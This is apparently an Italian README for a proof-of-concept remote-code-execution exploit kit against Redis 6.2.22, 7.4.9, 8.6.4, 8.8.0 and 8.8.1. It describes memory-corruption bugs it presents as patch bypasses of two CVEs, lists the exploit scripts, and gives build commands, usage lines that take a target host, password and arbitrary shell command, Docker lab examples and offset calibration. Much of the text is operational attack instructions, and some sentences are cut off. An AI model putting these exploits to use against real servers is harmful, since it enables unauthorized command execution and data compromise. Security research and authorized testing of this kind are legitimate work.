
PoC di RCE per Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
Exploit RCE non distruttivi per Redis 6.2.22, 7.4.9, 8.6.4 tramite il double free shared-NACK del gruppo di consumatori dello stream (un bypass della patch di CVE-2026-25243), per 8.8.0 tramite un heap overflow di TDigest nel modulo RedisBloom integrato e per 8.8.1 tramite un wild free TopK (un bypass della patch di CVE-2026-25589).
A_exploit_stock.py — exploit per 6.2.22 (immagine redis:6.2.22)P74_exploit.py (+ P74_g2.py) — exploit per 7.4.9 (redis:7.4)P86_exploit.py — exploit per 8.6.4 (redis:8.6)P88W_exploit.py (+ , ) — exploit per (, tramite heap overflow di TDigest nel modulo integrato)P88W_lib.pyP88W_corrupt.pyredis:8.8.0T88_exploit.py — exploit per 8.8.0 e 8.8.1 (tramite wild free TopK nel modulo integrato; bypass della correzione incompleta di CVE-2026-25589 — funziona su RedisBloom v8.8.0 e v8.8.2)A_lib.py, G2_arbread.py — helper condivisi (devono trovarsi accanto agli exploit)crc64.c/h, crcspeed.c/h — sorgenti per libcrc64.so (CRC64 di Redis, necessari per costruire payload RESTORE validi)calibrate.sh — calcola gli offset binari per build non ufficialiP74_loop.sh, P86_run.sh — wrapper di retry all'avviogcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Richiede: Python 3.6+ (nessun pacchetto pip), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — ometterla (o passare "") per target senza autenticazionetrigger — comando shell; per impostazione predefinita scrive la prova in /data/pwned*Esempi:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off ecc.; vedere --help) oppure eseguire ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] per generarli. Offset errati mandano in crash il server target (letture fuori intervallo).EVAL, RESTORE, XGROUP (8.8.0/8.8.1 richiedono anche il modulo RedisBloom integrato, presente per impostazione predefinita).HARDENING.md per i dettagli. L'exploit 8.8.0 lascia circa 2000 struct tdigest azzerate + una chiave oracle corrotta — non eseguire FLUSHALL/SAVE sul target successivamente.TopK_Destroy legge ancora tutti i puntatori k oltre l'heap sottodimensionato sia in RedisBloom v8.8.0 che in v8.8.2).Solo per test autorizzati.